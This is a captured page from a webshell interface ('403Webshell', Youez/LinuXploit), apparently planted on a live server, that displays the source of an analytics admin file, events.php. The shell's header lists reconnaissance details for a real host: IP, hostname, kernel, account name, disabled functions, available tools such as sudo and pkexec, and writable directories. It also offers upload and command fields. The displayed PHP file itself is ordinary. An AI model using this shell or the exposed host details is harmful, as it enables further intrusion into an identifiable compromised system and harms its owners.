403Webshell
Server IP : 213.255.246.8  /  Your IP : 216.73.217.178
Web Server : Apache
System : Linux dublin.stapolin.com 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
User : stapolin ( 1019)
PHP Version : 8.4.24
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stapolin/public_html/tracking.stapolin.com/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/stapolin/public_html/tracking.stapolin.com/admin/events.php
<?php

declare(strict_types=1);

require_once __DIR__ . '/../includes/bootstrap.php';
$currentUser = require_login();
$pageTitle = 'Events';
[$fromUtc, $toUtc, $fromDate, $toDate] = report_date_range();
[$websiteSql, $websiteTypes, $websiteParams] = selected_website_sql('e');

$rows = db_fetch_all(
    'SELECT e.event_type, e.category, e.label, e.numeric_value, e.occurred_at, w.name AS website_name, p.path
     FROM events e
     JOIN websites w ON w.id = e.website_id
     LEFT JOIN pages p ON p.id = e.page_id
     WHERE e.occurred_at BETWEEN ? AND ?' . $websiteSql . '
     ORDER BY e.occurred_at DESC
     LIMIT 150',
    'ss' . $websiteTypes,
    array_merge([$fromUtc, $toUtc], $websiteParams)
);

require APP_ROOT . '/templates/admin_header.php';
?>
<h1 class="h3 mb-3">Events</h1>
<?= report_filter_form('admin/events.php', $fromDate, $toDate) ?>
<div class="card">
    <div class="table-responsive">
        <table class="table table-hover mb-0">
            <thead><tr><th>Time</th><th>Website</th><th>Event</th><th>Category</th><th>Label</th><th class="text-end">Value</th><th>Page</th></tr></thead>
            <tbody>
            <?php if ($rows === []): ?><tr><td colspan="7" class="text-center text-muted py-5">No events for this range.</td></tr><?php endif; ?>
            <?php foreach ($rows as $row): ?>
                <tr>
                    <td><?= e($row['occurred_at']) ?></td>
                    <td><?= e($row['website_name']) ?></td>
                    <td><?= e($row['event_type']) ?></td>
                    <td><?= e($row['category'] ?? '') ?></td>
                    <td><?= e($row['label'] ?? '') ?></td>
                    <td class="text-end"><?= $row['numeric_value'] !== null ? e((string) $row['numeric_value']) : '-' ?></td>
                    <td><code><?= e($row['path'] ?? '-') ?></code></td>
                </tr>
            <?php endforeach; ?>
            </tbody>
        </table>
    </div>
</div>
<?php require APP_ROOT . '/templates/admin_footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit